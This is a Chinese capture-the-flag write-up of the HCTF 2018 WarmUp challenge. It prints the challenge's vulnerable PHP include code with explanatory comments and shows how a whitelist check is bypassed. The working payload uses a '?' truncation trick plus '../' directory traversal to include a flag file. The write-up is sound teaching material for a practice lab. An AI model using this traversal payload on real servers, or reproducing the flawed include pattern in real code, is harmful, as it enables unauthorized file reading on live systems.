当前位置: 首页 > news >正文

[HCTF 2018]WarmUp-滑稽

启动场景打开链接,出现一下图片

F12查看代码出现一个注释,应该在这个文件中,

进入到该页面,出现一段代码

<?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//定义了一个白名单,只有source.php和hint.php有新的PHP页面if (! isset($page) || !is_string($page)) {//isset就是判断$page是不是NULL,只要不是NULL返回的都是true//is_string就是判断是不是字符串,是的话返回true,但是要注意前面有!,所以是取反//所以只要传入的数据是字符串就不会返回falseecho "you can't see it";return false;}if (in_array($page, $whitelist)) {//in_array()函数搜索数组中是否存在制定的值//这个函数是判断$page是否在白名单$whitelist里面,而我们只能传入source.php或者hint.php,但是我们要获取flag肯定要输入其他字符,所以往下继续看return true;}//在$page?里面匹配第一个问号//例如$page=123?45,$page . '?'=123?45? 返回int(3)$_page=123$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));//这个if语句也是判断$_page是否在白名单内,无法绕过if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr(//mb_substr()函数返回字符串的一部分$_page,0,mb_strpos($_page . '?', '?')   //mb_strpos - 查找字符串在另一字符串中首次出现的位置);if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])                 //传入的参数不为空&& is_string($_REQUEST['file'])           //传入的参数为字符串&& emmm::checkFile($_REQUEST['file'])    //让这个类checkFile返回true) {include $_REQUEST['file'];exit;} else {echo "<img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}  ?>

这段PHP代码定义了一个名为emmm的类,其中包含一个静态方法checkFile。这个方法的作用是检查请求的文件名是否在一个白名单内,即$whitelist数组中列出的几个文件(如"source.php"、“hint.php”)。如果文件名在列表中或者经过URL解码处理后仍在列表中,方法返回true,表示可以访问该文件;否则返回false,并显示"You can’t see it"的信息。

在主程序部分,它首先检查$_REQUEST['file']变量是否存在、是否为字符串,然后调用emm::checkFile()方法。如果检查通过,就包含并执行指定的文件;如果没有通过检查,则显示一个图片链接。

先构造?file=hint.php

进入到其中出现以下情况

所以flag应该是在ffffllllaaaagggg这个文件里

构造payload:source.php?file=source.php?/../ffffllllaaaagggg,经过mb_strpos为source.php?/../ffffllllaaaagggg?,mb_strpos这个函数只返回首次出现?的位置,而mb_substr截取函数,从0开始截取一直到第一个?的位置,截取内容为source.php,正好可以与白名单中进行匹配,可以返回true

然后执行payload,发现没有显示flag,所以应该不是这个目录,继续加../,直到得到flag

payload:/source.php?file=source.php?/../../../../ffffllllaaaagggg

http://www.lryc.cn/news/497069.html

相关文章:

  • JAVAWeb——maven、SpringBoot、HTTP、Tomcat
  • 【C++】—— set 与 multiset
  • 蓝桥杯-扫雷
  • 黑马JavaWeb-day06、07、08(SQL部分) _
  • 三十五:Wireshark的捕获过滤器
  • 第9章 大模型的有害性(上)
  • 遗传算法与深度学习实战(26)——编码卷积神经网络架构
  • Linux无线网络配置工具:iwconfig vs iw
  • RabbitMQ介绍及安装
  • 借助 AI 工具,共享旅游-卡-项目助力年底增收攻略
  • Docker Compose 和 Kubernetes 之间的区别?
  • node.js常用的模块和中间件?
  • Llama模型分布式训练(微调)
  • Matlab模块From Workspace使用数据类型说明
  • LangChain学习笔记(一)-LangChain简介
  • k8s,声明式API对象理解
  • KubeBlocks v0.9.2发布啦!支持容器镜像滚动更新、MySQL支持Jemalloc...快来升级体验更多新功能!
  • Linux-虚拟环境
  • window系统下的git怎么在黑窗口配置代理
  • 网络和通信详解
  • 网络安全框架及模型-PPDR模型
  • WPF+LibVLC开发播放器-LibVLC播放控制
  • 子模块、Fork、NPM 包与脚手架概述
  • 基于Java Springboot蛋糕订购小程序
  • 【el-table】表格后端排序
  • APP聊天项目介绍
  • android user版本默认usb模式为充电模式
  • 常见问题QA的前端代码
  • float globalMapVIsualizationLeafSize; 的中文意思是什么
  • 基于Java Springboot诗词学习APP且微信小程序